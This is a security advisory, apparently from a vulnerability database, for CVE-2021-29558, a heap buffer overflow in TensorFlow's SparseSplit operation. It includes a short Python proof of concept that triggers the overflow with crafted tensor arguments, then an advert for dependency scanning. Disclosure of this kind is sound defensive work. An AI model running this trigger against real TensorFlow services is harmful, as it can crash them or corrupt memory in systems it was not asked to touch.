CVE-2021-29558: Heap buffer overflow in `SparseSplit`

(updated )

An attacker can cause a heap buffer overflow in tf.raw_ops.SparseSplit:

import tensorflow as tf

shape_dims = tf.constant(0, dtype=tf.int64)
indices = tf.ones([1, 1], dtype=tf.int64)
values = tf.ones([1], dtype=tf.int64)
shape = tf.ones([1], dtype=tf.int64)

tf.raw_ops.SparseSplit(
split_dim=shape_dims, indices=indices, values=values,
shape=shape, num_split=1)

References

Code Behaviors & Features

Detect and mitigate CVE-2021-29558 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →